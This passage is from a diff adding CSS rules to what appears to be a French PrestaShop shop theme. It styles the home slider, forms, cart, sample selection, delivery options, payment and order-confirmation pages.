{padding-left:22px !important;} +#social_block li.facebook {background:url(../../../modules/blocksocial/img/sprite_pict_social_block.png) no-repeat 0 6px;} +#social_block li.twitter {background:url(../../../modules/blocksocial/img/sprite_pict_social_block.png) no-repeat 0 -26px;} +#social_block li.rss {background:url(../../../modules/blocksocial/img/sprite_pict_social_block.png) no-repeat 0 -56px;}*/ + + +/*************** Block STORE ***************/ +.blockstore img { margin: 10px 0 0 0} +.blockstore p { + padding-bottom:0; + font-weight:bold; + text-align: right +} +.blockstore p.store_image { + padding-bottom:10px; + text-align:center +} + + +/*************** Block SUPPLIER ***************/ +.blocksupplier li {border-bottom:1px dotted #ccc} +.blocksupplier li.last { border:none;} + .blocksupplier li a { + display:block; + padding:7px 11px 5px 22px; + color:#cccccc; + background:url(../../../modules/blocksupplier/img/arrow_right_2.png) no-repeat 10px 10px transparent + } + +.blocksupplier form {margin-top:10px;} +.blocksupplier p { + padding:0; + text-align:center +} + +.ie7 #featured-products_block_center .product_image span.new {top:110px;right:0;width:94%} +.ie8 #featured-products_block_center .product_image span.new{top:110px;right:0;width:94%} +.lt-ie6 #featured-products_block_center .product_image span.new {top:110px;right:0;width:94%} +#homeslider li{position:relative;} +.homeTxt{ + position:absolute; + top:80px; + left:160px; + width:336px; + height:250px; + background:url('../img/homeTxt.png') no-repeat 0 0; + padding:40px 62px 40px 65px; +} +.homeTxt a, +.homeTxt span{ + color:#000000; + display:block; + text-align:center; +} +.homeTxt .bloc1{ + height:90px; +} +.homeTxt .title{ + text-transform:uppercase; + font-size:39px; + line-height:39px; + font-family:Times New Roman; +} +.homeTxt .subtitle{ + font-size:25px; + line-height:25px; + font-family:Times New Roman; +} +.homeTxt .description{ + text-transform:uppercase; + font-size:10px; + font-family:Times New Roman; + padding:0 40px 14px; + line-height:18px; +} +.homeTxt a.legende{ + width:338px; + height:36px; + line-height:36px; + background:url('../img/homeTxtA.png') no-repeat 0 0; + margin:0 auto; + display:block; + font-size:12px; + color:#000000; + text-transform:uppercase; +} +.homeTxt a.legende:hover{ + text-decoration:none; + background:url('../img/homeTxtA.png') no-repeat 0 -36px; +} +div#fancybox-wrap, +div.fancybox-bg{background:none!important;} + +p.success_inline{color:#b9da1a;} +p.warning_inline{color:#ff0000;} + +#page .borderGreen{ + padding:16px 20px 20px; + border-top:7px solid #b9da1a; + background:#ffffff; + float:left; + width:612px; + min-height:380px; +} +#faq #page .borderGreen { + width:auto; + float:none; +} +#page .borderGreen h1{ + color:#000000; + font-size:30px; + line-height:30px; +} +.leftCol{ + float:left; + width:207px; + padding:0 35px 0 0; +} +.leftCol h2{ + font-size:11px; + font-weight:bold; + color:#000000; + padding:0; + font-family:Arial,Sans-Serif; + line-height:17px; +} +.leftCol p{ + font-size:11px; + line-height:17px; + font-weight:normal; + color:#666666; + font-family:Arial,Sans-Serif; +} +.centerCol{ + float:left; + width:370px; +} +.clear{clear:both;} + +#page .tiroir h3{background:url('../img/fondh3.png') repeat-x 0 0;border:1px solid #d9d9d9;line-height:30px;height:30px; padding:0;margin:0 0 10px;cursor:pointer;} +#page .tiroir h3 span{cursor:pointer;display:block;color:#92af06;line-height:30px;height:30px;font-size:16px;font-weight:bold;padding:0 12px 0 32px;display:block;font-family:Times New Roman;background:url('../img/moreless.png') no-repeat 8px -76px;} +#page .tiroir.open h3 span{background:url('../img/moreless.png') no-repeat 9px 13px;} +#page .tiroir div.texte{padding:10px 0;color:#000000;font-size:12px;} +#philosophie .borderGreen {width: 612px} +#philosophie .leftCol {display: none;} +#philosophie .centerCol {width:100%;} +#philosophie .tiroir {margin-bottom: 10px;} +#philosophie .tiroir h3 {border: 0; background: #b9da1a; color: #000000; font-size: 18px; height: 33px; line-height: 33px; text-align: center; text-transform: uppercase } +#philosophie .tiroir.open h3 span { background: none; } +#philosophie .tiroir h3 span {background: none; color: #000000; font-size: 18px; height: 33px; line-height: 33px; font-weight: normal; } +#philosophie .tiroir div.texte {border: 0; color: #000000;font-size: 12px;padding: 5px 5px 0;} +#philosophie .article {border-top: 7px solid #b9da1a;} +#philosophie .article .image {position: relative;} +#philosophie .article .image img {display: block;height: auto;width: 100%;} +#philosophie .article h4 {text-align: left; background: none repeat scroll 0 0 rgba(255, 255, 255, 0.6);bottom: 0;box-sizing: border-box;-moz-box-sizing: border-box;-ms-box-sizing: border-box;-o-box-sizing: border-box;-webkit-box-sizing: border-box;color: #000;font-family: Times new roman,serif;font-size: 26px;font-style: italic;left: 0;line-height: 26px;padding: 20px 86px;position: absolute;text-transform: none;width: 100%;} +#philosophie .display_date {background: url("../../../themes/default/img/bg_star.png") no-repeat scroll center center transparent;box-sizing: border-box;-moz-box-sizing: border-box;-ms-box-sizing: border-box;-o-box-sizing: border-box;-webkit-box-sizing: border-box;display: block;font-size: 25px;height: 113px;left: -56px;line-height: 25px;padding: 43px 0;position: absolute;text-align: center;top: -57px;width: 113px;} +#philosophie .article .content { box-sizing: border-box;-moz-box-sizing: border-box;-ms-box-sizing: border-box;-o-box-sizing: border-box;-webkit-box-sizing: border-box;padding: 15px 10px;position: relative;width: 100%;} +#philosophie .texte p { font-family: 'ProximaNova'; font-size: 15px; line-height: 20px;} +#philosophie #footer #social_block { margin: 25px auto 38px; } +#page .rightCol .tiroir_quick_acces {} +#page .rightCol .tiroir_quick_acces .quick_acces { + border-top: 7px solid #b9da1a; + cursor:pointer; + position: relative; +} +#philosophie .rightCol .tiroir_quick_acces .quick_acces { margin-bottom: 10px } +#page .rightCol .tiroir_quick_acces .quick_acces img { + display: block; + float: none; + margin: 0; +} +#page .rightCol .tiroir_quick_acces .quick_acces a,#page .rightCol .tiroir_quick_acces .quick_acces a:hover { + background: none repeat scroll 0 0 rgba(255, 255, 255, 0.6); + bottom: 0; + box-sizing: border-box; + color: #000; + display: block; + font-family: Times new roman,serif; + font-size: 26px; + font-style: italic; + left: 0; + line-height: 26px; + padding: 20px 10px; + position: absolute; + text-align:center; + text-decoration: none; + text-transform: none; + width: 100%; +} + + +#page .rightCol{ + float:right; + width:326px; + position: relative; +} +.rightCol iframe{ + border: 0 none; + float: left; + height: 183px; + margin: 0 0 0 0px; + padding: 0; + width: 326px; +} +.right +.rightCol .bloctitre{ + background:url('../img/blocPhilosophie.png') no-repeat 0 0; + width:286px; + height:204px; + padding:7px 31px 15px 31px; + margin:0 -11px; +} +#page .rightCol .video{ + padding:0 0 20px; +} +#page .rightCol h4{ + line-height:46px; + height:46px; +} +#page .rightCol img{ + float:left; + margin:0 20px 0px 0; +} +#philosophie #page .rightCol .bloctitre .image img{ + width:104px; +} +#page .rightCol p{ + color:#000000; + font-size:12px; + font-family:Arial,Sans-Serif; +} +#page .rightCol .description{ + min-height:110px; +} +#page .rightCol .button{ + margin:0 0 0 124px; +} + +#page p.select a.selectBox-dropdown.inputSelect68{ + padding:3px 0 0 4px; + width:64px; + margin:0 10px 0 0; + background: url("../img/inputSelect68.jpg") no-repeat scroll right 0 transparent; +} +#page p.select a.selectBox-dropdown.inputSelect68 span.selectBox-label{ + width:30px; + text-align:center; + float:left; +} + + +#page p.select a.selectBox-dropdown.inputSelect219{ + padding:3px 0 0 10px; + margin:0 10px 0 0; + width:209px; + background: url("../img/inputSelect219.jpg") no-repeat scroll right 0 transparent; +} +#page p.select a.selectBox-dropdown.inputSelect219:last-child{ + margin:0; +} +#page p.select a.selectBox-dropdown.inputSelect219 span.selectBox-label{ + width:177px; + float:left; +} + + + +form.std fieldset { + margin:20px 0 0; + border:0; + background:none; +} +form.std p{ + clear:both; +} +form.std p.text label, +form.std p.select label, +form.std p.textarea label { + float:left; + padding:6px 0; + width:202px;/* 180 */ + font-size:13px; + text-align:left; + color:#000000; + line-height:30px; + font-size:14px; +} +form.std p.radio label{ + font-size:15px; + margin:0 10px 0 0; +} +form.std p.radio label sup{ + font-size:10px; + vertical-align:6px; +} +form.std p.text input{ + float:left; + padding:3px 15px 0 15px; + height:30px; + line-height:30px; + width:380px;/* 270 */ + font-size: 12px; + color:#000000; + border:0; + background:url('../img/inputText.jpg') no-repeat 0 0; +} +form.std p textarea{ + float:left; + padding:18px 15px 15px 15px; + height:89px; + line-height:14px; + width:380px;/* 270 */ + font-size: 12px; + color:#000000; + border:0; + background:url('../img/inputTextarea.jpg') no-repeat 0 0; + resize:none; +} +form.std p.textarea label { + vertical-align:middle; + position:relative; +} +form.std p.submit{ + padding:20px 0 20px 202px; + +} +form.std p.checkbox{ + padding:20px 0 0px 202px; + +} +form.std p.submit input{ + line-height:36px; + height:36px; + text-transform:uppercase; + background:url("../img/homeblockFleche1.png") no-repeat scroll right center #B9DA1A!important; + border:1Px solid #a9c717; +} +form.std p.textLoi{ + padding:30px 0 0px; + color:#999999; + font-size:11px; +} + + +form.std p.text input.inputText420{ + width:420px;/* 270 */ + background:url('../img/inputText420.jpg') no-repeat 0 0; +} +form.std p.textLoi{ + padding:30px 0 0px; + color:#999999; + font-size:11px; +} + + +/* rightCol */ +#page .rightCol .blocRight { + padding:0 0 1px; + margin:0 0 20px; + background:url('../img/blocRightContact.png') no-repeat left bottom; +} +#page .rightCol .blocRight.green{ + padding:20px 0 0; + background:#b9da1a; + text-align:center; +} +#page .rightCol h5{ + line-height:33px; + height:33px; + font-size:18px; + color:#000000; + background:#b9da1a; + text-align:center; + text-transform:uppercase; +} +#page .rightCol ul.liens li, +#page .rightCol p{ + padding:13px 20px; + text-align:justify; + color:#000000; + line-height:13px; + font-size:11px; +} +#page .rightCol ul{ + padding:14px 0; +} +#page .rightCol ul.liens li{ + padding:0 0; +} +#page .rightCol ul.liens li a{ + padding:0 20px; + color:#000000; + line-height:20px; + font-size:12px; +} +#page .rightCol .blocRight p.align_center{ + text-align:center; +} +#page .rightCol .blocRight p a{ + color:#000000; + font-size:11px; +} + +#page .rightCol .blocRight.green p, +#page .rightCol .blocRight.green h5{ + text-align:center; +} +#page .rightCol .blocRight.green h5{ + font-size:18px; + font-weight:bold; +} +#page .rightCol .blocRight.green p{ + padding:0 20px 13px; + font-size:14px; + line-height:25px; +} +body .sf-menu{margin-top:0;position:relative} +form.std p.text input.inputText612{ + width:596px;/* 612 - 16 */ + background:url('../img/inputText612.png') no-repeat 0 0; + margin:0 0 20px; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; +} +form.std div.text input.inputText209, +form.std p.text input.inputText209{ + width:193px;/* 209 - 16 */ + background:url('../img/inputText209.png') no-repeat 0 0; + margin:0 9px 20px 0; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; + border:0; +} +form.std p.text input.inputText266{ + width:250px;/* 209 - 16 */ + background:url('../img/inputText266.png') no-repeat 0 0; + margin:0 0 20px 0; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; +} +form.std p.text input.inputText287{ + width:271px;/* 209 - 16 */ + background:url('../img/inputText287.png') no-repeat 0 0; + margin:0 0 20px 0; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; +} +form input.inputText146{ + width:130px;/* 209 - 16 */ + background:url('../img/inputText146.png') no-repeat 0 0; + margin:0 0 10px 0; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; + border:0; +} +form.std p.text input.readonly{ + background:#f2f2f2!important; +} +form.std p.text input.inputText276{ + width:260px;/* 280 - 16 */ + background:url('../img/inputText276.png') no-repeat 0 0; + margin:0 0 20px 0; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; +} +form.std p.text input.inputText132{ + width:116px;/* 132 - 16 */ + background:url('../img/inputText132.png') no-repeat 0 0; + margin:0 9px 20px 0; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; +} +form.std p textarea.textarea612{ + padding:11px 8px 5px; + background: url('../img/textarea612.png') no-repeat 0 0; + width:596px /* 612 - 16 */; + height:87px; + border:0; + margin:0 0 20px; + font-size:13px; + color:#000000; +} + +form.std p small a, +form.std p small{ + font-size:11px; + color:#999999; + font-weight:bold; + font-style:italic; +} +form.std p small a{ + text-decoration:underline; +} +#page .borderGreen.auto { + width:auto; + float:none; +} +p.grey, +.grey{ + color:#999999; +} +p.grey6, +p.grey6 a{ + font-size:11px; + color:#666666; +} +p.grey6 a{ + padding:0 5px; +} +#authentication form.std p.radio label{ + float:left; + margin:0 10px 0 0; + width:auto; + line-height:8px; + height:20px; + color:#000000; +} +#authentication form.std p.radio input{ + float:left; + margin:0 2px 0 0; + width:auto; + +} +p.required{ + color:#000000; +} +a.button.back{ + background:url('../img/btFlecheBack.png') no-repeat 8px center #b9da1a; + padding:0 14px 0 24px; + line-height:33px; + height:33px; + font-size:13px; + border:1Px solid #a9c717; + margin:0 10px 0 0; + text-transform:uppercase; +} +a.button.btPlus{ + background:url('../img/btPlus.png') no-repeat 8px center #b9da1a; + padding:0 14px 0 24px; + line-height:33px; + height:33px; + border:1Px solid #a9c717; + margin:0 10px 0 0; + font-size:13px; + text-transform:uppercase; +} +#page .button.simple, +a.button.simple{ + background:#b9da1a!important; + padding:0 14px 0 14px; + line-height:33px; + height:33px; + border:1Px solid #a9c717; + margin:0 10px 0 0; + font-size:13px; + text-transform:uppercase; +} +#page input.button.simple { + line-height:35px; + height:35px; +} +.order-opc-leftColumn{ +width:715px; +float:left; +} +.order-opc-rightColumn{ +width:223px; +float:right; +} +.bgf2f2f2{ + background:#f2f2f2; + border:1px solid #d9d9d9; + padding:20px 17px; +} +#page p#paiements_securises{ + padding:0; + margin:0; +} +#page p#paiements_securises a{ + padding:0 0 15px; + margin:0; + color:#000000; + display:block; + font-size:14px; + font-weight:bold; + font-family:Times New Roman; +} +#page p#paiements_securises a span{ + display:block; + padding:0 0 15px; +} +#page .order-opc-rightColumn .block{ + background:#fafafa; + border:1px solid #d9d9d9; + border-top:0; + padding:20px 17px; + margin:0 0 20px; +} +#page .order-opc-rightColumn .block.products_block{ + background:#ffffff; + border:1px solid #d9d9d9; +} +#page .order-opc-rightColumn .block .title_block{ + padding:0 0 10px; + margin:0; +} +#page .order-opc-rightColumn .block.products_block .title_block{ + padding:0 0 13px; +} +#page .order-opc-rightColumn .block .title_block, +#page .order-opc-rightColumn .block .title_block a{ + background:none; + color:#000000; + display:block; + font-size:14px; + font-weight:bold; + font-family:Times New Roman; + font-weight:normal; +} +#page .order-opc-rightColumn .block.products_block .title_block a{ + font-size:12px; +} +#page .order-opc-rightColumn .block li{ + padding:3px 0; + color:#000000; + list-style:none; + line-height:15px; + display:block; +} +#page .order-opc-rightColumn .block li a{ + background:url('../img/etoileLi.png') no-repeat 0 5px; + line-height:15px; + font-size:11px; + color:#000000; + padding:0 0 0 10px; + display:block; +} + +#page .order-opc-rightColumn .block.products_block li{ + padding:13px 0; + line-height:13px; + list-style:none; + border-top:1px solid #dddddd; + background:none; + height:63px; + +} +#page .order-opc-rightColumn .block.products_block li a{ + background:none; + padding:0; +} +#page .order-opc-rightColumn .block.products_block li a.content_img{ + border:#e6e6e6; + float:left; + width:63px; + height:63px; + margin:0 10px 0 0; + padding:0; +} +#page .order-opc-rightColumn .block.products_block li img{ + float:left; +} +#page .order-opc-rightColumn .block.products_block li a.button{ + background:#f0f0f0; + border:0; + font-size:11px; + line-height:20px; + height:20px; + padding:0 15px; + float:left; + margin:3px 0; +} +#page .order-opc-rightColumn .block.products_block li a.button:hover{ + background:#B9DA1A; +} +#page .submitTop{ + float:right; +} +#page .submitTop .button{ + float:right; + margin:0 0 0 10px; + line-height:36px; + height:36px; + font-size:13px; +} +#page .submitTop input.button{ + padding-bottom:2px; +} +#page .submitTop input.button, +#page .submitTop .button:first-child{ + line-height:38px; + height:38px; + background:url("../img/homeblockFleche1.png") no-repeat scroll right center #B9DA1A!important +} +#page p.green, +#page div.green{ + color:#8daa01; + height:12px; + line-height:12px; + padding:28px 0 20px; + font-size:12px; +} +#order-detail-content{ + border-top:3px solid #000000; + border-bottom:3px solid #000000; + +} +#order-detail-content #cart_summary{ + margin:0; + +} +#cart_summary td{ + padding:10px 0; + border:0; + border-bottom:1px solid #cccccc; + vertical-align:middle; +} +#cart_summary tfoot td{ + border:0; + text-align:right; +} +#cart_summary td.cart_product{ + width:80px; +} +#cart_summary td.cart_product img{ + border:0; +} +#cart_summary td.cart_description{ + width:374px; +} +#cart_summary td.cart_description p.s_title_block{ + color:#000000; + font-size:14px; + font-family:Times New Roman; + padding:2px 0; + line-height:16px; +} +#cart_summary td.cart_description p.descr_short{ + color:#999999; + font-size:12px; + padding:0 0; + line-height:16px; +} +#cart_summary td.cart_quantity{ + width:63px; +} +#cart_summary td.cart_quantity div{ + background:url('../img/panierQty.png') no-repeat 0 0; + height:31px; + width:53px; + padding:2px 0 0 0; +} +#cart_summary td.cart_quantity div a, +#cart_summary td.cart_quantity div .cart_quantity_input{ + border:0; + margin:0; + padding:0; + background:transparent; +} +#cart_summary td.cart_quantity div .cart_quantity_input{ + float:left; + width:30px; + height:31px; + line-height:31px; + text-align:center; +} +#cart_summary td.cart_quantity div a{ + float:right; + width:23px; + height:15px; +} +#cart_summary td.cart_quantity div a img{ + display:none; +} +#cart_summary td.price_discount_del, +#cart_summary td.cart_delete{ + width:85px; +} +#cart_summary td.price_discount_del a, +#cart_summary td.cart_delete a{ + display:block; + line-height:20px; + height:20px; + background:#f0f0f0; + color:#000000; + text-transform:uppercase; + font-size:11px; +} +#cart_summary tr.alternate_item td.cart_delete a, +#cart_summary tr.even td.price_discount_del a, +#cart_summary tr.even td.cart_delete a{ + background:#fff !important; +} + + +#cart_summary td.cart_total{ + width:auto; + text-align:right; + font-size:14px; +} +#cart_summary .tr_cart_voucher form{ + text-align:right; + font-size:12px; +} +#cart_summary .tr_cart_voucher form label{ + padding:0 10px 0 0; +} +#cart_summary .tr_cart_voucher form input.button{ + float:right; + height: 28px; + margin: 2px 0 0; + font-size:11px; + text-align:center; +} +#cart_summary .free_ship td{ + color:#999999; + font-size:12px; +} +#echantillons{ + clear:both; + border-bottom:3px solid #000000; + margin:0 0 20px; +} +#echantillons h2{ + color: #000000; + font-size: 30px; + font-weight:normal; + text-align: center; + text-transform:uppercase; + line-height: 22px; + margin-bottom: 20px; + font-family: Times New Roman; + padding:0; +} +#echantillons ul{ + width:735px; +} +#echantillons li{ + float:left; + width:127px; + height:118px; + position:relative; + margin:0 20px 20px 0; +} +#echantillons li img{ + border:1px solid #e6e6e6; +} +#echantillons li a{ + position:relative; + float:left; + z-index:8; + width:127px; + height:118px; +} +#echantillons li span{ + display:none; + float:left; + position:absolute; + z-index:9; + top:0; + left:0; + width:107px; + height:78px; + color:#ffffff; + text-align:center; + background:url('../img/echantillonMasque.png') no-repeat 0 0; + padding:40px 10px 0; +} +#echantillons li:hover span{ + display:block; +} +#echantillons li input{ + position:absolute; + bottom:12px; + right:12px; + padding:12px; + z-index:10; + cursor:pointer; +} + +#order .addresses{ + border-top:1px solid #000000; + margin:20px 0 20px; + padding:20px 0 20px; +} +#order .addresses .address_delivery label{ + font-weight:bold; + font-size:14px; +} +a.button_grey, +#order .addresses a.button_grey{ + margin-left: 20px; + display:inline-block; + background:#f0f0f0; + padding:0 10px; + line-height:23px; + height:23px; + margin-top:0; + font-size:11px; + text-transform:uppercase; +} +#order .addresses ul{ + padding:0 0 0 20px; + margin:0 0 0; + color:#000000; + font-size:14px; + height:auto!important; +} +#order .addresses ul#address_delivery{ +} +#order .addresses ul li{ + line-height:20px; +} +#order .addresses ul li.address_title, +#order .addresses ul li.address_update{ + display:none; +} +#order .addresses .radioInvoice{ + width:50%; + float:left; + height:20px; +} +#order .addresses hr{ + border:0; + border-bottom:1px solid #000000; + margin:20px 0; + clear:both; +} + +#giftAllowed{ + float:left; +} +#ordermsg{ + float:right; + background:#f0f0f0 url('../img/messagePersonnel.jpg') no-repeat center center; + width:476px; + height:168px; + padding:114px 54px 30px 101px; +} +#ordermsg p {padding:0} +#ordermsg p.txt { + display:none; +} +/*#ordermsg .textarea {float:right}*/ +#ordermsg .textarea textarea { + width:412px; + height:118px; + padding:10px; + border:0; + color:#000000; + font-size:12px; + background:none; +} + +#cart_block{display:none!important;} + + +.order_carrier_content { + +} +.order_carrier_content h3 { +} +.order_carrier_content h3.carrier_title {} +.order_carrier_content{ + width:978px; +} +#modeDeLivraison{ + border-bottom:3px solid #000000; + margin-bottom:20px; +} +#modeDeLivraison .order_carrier_content{ + width:735px; +} +.order_carrier_content .delivery_option input, +.order_carrier_content .delivery_option label{ + cursor:pointer; +} +#modeDeLivraison .order_carrier_content .delivery_option{ + width:215px; + padding:20px 5px; + background:url('../img/delivery_option_small.png') no-repeat 0 0; +} +.order_carrier_content .delivery_option{ + float:left; + width:266px; + height:68px; + padding:20px; + color:#000000; + text-align:center; + margin:0 20px 20px 0; + border:0; + background:url('../img/delivery_option.png') no-repeat 0 0; +} +#modeDeLivraison .order_carrier_content .delivery_option.selected, +.order_carrier_content .delivery_option.selected{ + background:#f0f0f0; +} +.order_carrier_content .delivery_option .delivery_option_price, +.order_carrier_content .delivery_option .delivery_option_title{ + font-size:14px; + font-weight:bold; + color:#000000; +} +.order_carrier_content .delivery_option .delivery_option_price{ + white-space:nowrap; +} +#modeDeLivraison .order_carrier_content .delivery_option:last-child .delivery_option_price{ + /*display:none;*/ +} +#modeDeLivraison .mondialRelay{ + display:none!important; +} +.order_carrier_content .delivery_option:first-child .delivery_option_price{ + display:inline; +} +.order_carrier_content .delivery_option .livr{ + font-size:11px; + color:#000000; +} +.order_carrier_content .delivery_option .delivery_option_delay{ + font-size:11px; + color:#8daa01; +} +.order_carrier_content input { + position:relative; + top:1px +} +.totalTTC{ + font-size:18px; + text-align:right; + color:#000000; + padding:0 0 20px; + font-weight:bold; +} + + +/* step 5 - paiement ************************************************************************** */ +.paiement_block { + float:right; + width:509px; + margin:0; + padding:0 0 0; + border:0; + font-size:12px; + color:#000; + background:none; +} +.paiement_block .top{ + height:16px; + display:block; + background:url('../img/paiement_blockTop.png') no-repeat 0 0; +} +.paiement_block .bottom{ + height:16px; + display:block; + background:url('../img/paiement_blockBottom.png') no-repeat 0 bottom; +} +.paiement_block .repeat{ + padding:4px 20px; + background:url('../img/paiement_blockRepeat.png') repeat 0 0; +} + +.paiement_block #order-detail-content{ + border-top:0; +} +.paiement_block h2{ + font-size:24px; + font-weight:bold; + border-bottom:3px solid #000000; + padding:0 0 20px; + margin:0 0 20px; +} +.paiement_block h3{ + font-size:12px; + text-transform:uppercase; + font-family:Arial,Sans-Serif; + font-weight:bold; + padding:0 0 12px; +} +.paiement_block table.std td, +.paiement_block table.std td a{ + font-size:11px; +} +.paiement_block #cart_summary td{ + vertical-align:top; +} +.paiement_block #cart_summary td.cart_product{ + width:50px; + text-align:left; +} +.paiement_block #cart_summary td.cart_description{ + width:316px; +} +.paiement_block #cart_summary td.cart_quantity{ + width:33px; + font-size:12px; + text-align:center; +} +.paiement_block #cart_summary td.cart_total{ + width:68px; + text-align:right; + font-size:12px; +} +.paiement_block table#cart_summary tfoot tr td, +.paiement_block table#cart_summary tbody tr td { + border-bottom: 1px solid #999999; +} +.paiement_block table#cart_summary tfoot tr td{ + padding:20px 0; +} +.paiement_block table#cart_summary tfoot tr td h3{ + padding:0; +} +.paiement_block table#cart_summary tfoot tr.cart_total_voucher td{ + padding:20px 0; +} +.paiement_block #cart_summary td.cart_description p.descr_short, +.paiement_block #cart_summary td p{ + padding:0 0 10px; + font-size:11px; +} +.paiement_block #cart_summary tfoot td:first-child{ + text-align:left; +} +.paiement_block #cart_summary tfoot td:last-child{ + text-align:right; +} +.paiement_block #cart_summary tfoot #total_price_container span, +.paiement_block #cart_summary tfoot #total_price_container small{ + display:block; +} +.paiement_block #cart_summary tfoot #total_price_container span{ + font-size:18px; + font-weight:bold; + padding:0 0 14px; +} +.paiement_block #cart_summary tfoot #total_price_container small{ + font-size:12px; + font-weight:normal; + padding:0 0 14px; +} +.paiement_block #cart_summary tfoot .cart_total h3{ + font-size:14px; + font-weight:bold; + padding:0 0 14px; + text-transform:uppercase; +} +.paiement_block #cart_summary tfoot .cart_total p{ + text-transform:uppercase; + font-weight:normal; + font-size:12px; +} +.paiement_block table#cart_summary tfoot tr:last-child td{ + border-bottom: 0; + padding-bottom:0; +} +.paiement_block .button_grey{ + float:left; + margin:0 100px 40px 0; +} +.paiement_block .orderAdresses td{ + vertical-align:top; +} +.paiement_block .orderAdresses td:first-child{ + border-right:1px solid #cccccc; + width:50%; +} +.paiement_block .orderAdresses{ + padding:0 0 20px 0; + border-bottom:1px solid #cccccc; + margin:0 0 20px; +} +.paiement_block .orderAdresses table{ + width:100%; +} +.paiement_block .orderAdresses td h2{ + padding:0 0 12px; + font-size:12px; + font-weight:bold; + text-transform:uppercase; + border:0; + margin:0; +} +.paiement_block .orderAdresses td li{ + font-size:12px; + line-height:20px; +} +.paiement_block .orderAdresses .button_grey{ + margin:4px 0 0; +} +.paiement_block .orderAdresses td:last-child h2{ + padding:0 0 20px 20px; +} +.paiement_block .orderAdresses td:last-child li{ + padding:0 0 0 20px; +} +#HOOK_PAYMENT{ + float:left; + width:429px; +} +#HOOK_PAYMENT .payment_module{ + float:left; + width:389px; + height:164px; + background:url('../img/hook_paiement_module.png') no-repeat 0 0 ; + padding:20px; + text-align:center; + margin:0 0 20px; +} +#HOOK_PAYMENT .payment_module strong{ + font-size:24px; + font-weight:bold; + padding:0 0 10px; + display:block; + line-height:24px; +} +#HOOK_PAYMENT .payment_module a{ + display:block; + padding:0 0 10px; +} +#HOOK_PAYMENT .payment_module a.button{ + float:left; + padding: 0 30px 0 14px; + width: auto; + line-height:36px; + height:36px; + background:url('../img/homeblockFleche1.png') no-repeat right center #B9DA1A; + margin:0 0 10px 109px; + text-transform:uppercase; + font-size:13px; + font-family:Times New Roman; +} +#HOOK_PAYMENT .payment_module a.small{ + clear:both; + color:#999999; + font-size:11px; + display:block; + padding:0 20px; +} +.bgOrderConfirmationTop{ + background:url('../img/bgOrderConfirmationTop.png') no-repeat center 0; + height:19px; + width:633px; + margin:20px auto 0 auto; +} +.bgOrderConfirmationBot{ + background:url('../img/bgOrderConfirmationBot.png') no-repeat center 0; + height:19px; + width:633px; + margin:0 auto 20px auto; +} +.bgOrderConfirmationRepeat{ + width:593px; + margin:0 auto; + padding:1px 20px; + background:url('../img/bgOrderConfirmationRepeat.png') repeat-y center 0; +} +.bgOrderConfirmationRepeat hr{ + border:0; + border-bottom:1px solid #000000; + margin-bottom:20px; + padding:0px; +} + +*::-webkit-input-placeholder { /* WebKit browsers */ + color: #000; + opacity:1;filter:alpha(opacity=100); + box-shadow:none; +} +*:-moz-placeholder { /* Mozilla Firefox 4 to 18 */ + color: #000;opacity:1;filter:alpha(opacity=100); + box-shadow:none; +} +*::-moz-placeholder { /* Mozilla Firefox 19+ */ + color: #000;opacity:1;filter:alpha(opacity=100); + box-shadow:none; +} +*:-ms-input-placeholder { /* Internet Explorer 10+ */ + color: #000;opacity:1;filter:alpha(opacity=100); + box-shadow:none; +} +body .sf-menu .categories_block ul li a, +body .sf-menu .categories_block ul li{ + float:none!important; + display:block!important; + text-align:left; + height: auto; + line-height: 16px; + padding:2px 0; +} +body .sf-menu .categories_block ul li a{ + padding:0 0; +} +body .sf-menu .categories_block ul li a{ + padding:0 0 0 10px!important; + width:200px; white-space: normal; +} +body .sf-menu .categories_block .besoins ul.tree li a{ + width:260px; +} +body .sf-menu .categories_block .besoins ul li a{ + width:160px; +} + +body .sf-menu .categories_block .besoins ul{width:160px} +body .sf-menu .categories_block .besoins ul.tree{width:290px} +iframe{zoom:1;z-index:1;position:relative;} +/*#header{zoom:1;z-index:100}*/ +#index #header{height:153px} +.sf-menu .categories_block{zoom:1;z-index:1000} + +form.std p label { + position:relative; +} +form.std p label span.erreur{ + position:absolute; + top:20px; + left:0; + color:#da431a; + font-size:11px; + font-weight:bold; + font-style:italic; + display:block; +} +form.std p label span.erreur.hidden{ + display:none; +} +form.std .textarea textarea, +form.std .text input{color:#000000!important;opacity:1;filter:alpha(opacity=100);} + +.PS_MRRelayPointInfo{ + float:left; + width:180px; + padding:10px 10px 10px 0; +} +.mondialRelay .PS_MRRelayPointInfo.item0{ + clear:both; +} +.mondialRelay .PS_MRRelayPointInfo p{ + float:none; + width:auto; +} +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected, +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelecteIt{ + display:block; + background:none; + padding:0; + margin:0; + padding:0 0 20px; +} +.mondialRelay .PS_MRRelayPointInfo p, +.mondialRelay .PS_MRRelayPointInfo p{ + text-align:left; +} +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected input, +.mondialRelay .PS_MRFloatRelayPointSelecteIt input{ + float:left; + margin:0 6px 10px 0; +} +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected label, +.mondialRelay .PS_MRFloatRelayPointSelecteIt label{ + display:block; + padding:0 0 0 10px; + font-size:14px; + font-weight:bold; + color:#000000; +} +.mondialRelay .PS_MRRelayPointInfo img { + float: left; + height: 40px; + padding: 0 0px; + margin:0 10px 20px 0; +}.sf-menu .categories_block ul li a, .sf-menu .categories_block ul li:last-child, .sf-menu .categories_block ul li{ + text-transform:none!important; +} +.g, +.borderGreen h3 span.g, +.borderGreen h2 span.g, +.borderGreen h1 span.g{ + color:#BFDA3F!important +} +.subtitle sup, +.borderGreen li a sup, +.borderGreen h3 sup, +.borderGreen h2 sup, +.borderGreen h1 sup{ + font-size:0.5em; + vertical-align:top +} +.borderGreen strong sup, +.borderGreen .breadcrumb sup{ + font-size:0.5em; + vertical-align:top +} +#barreMap{ + display:block; + height:40px; + color:#000000; + 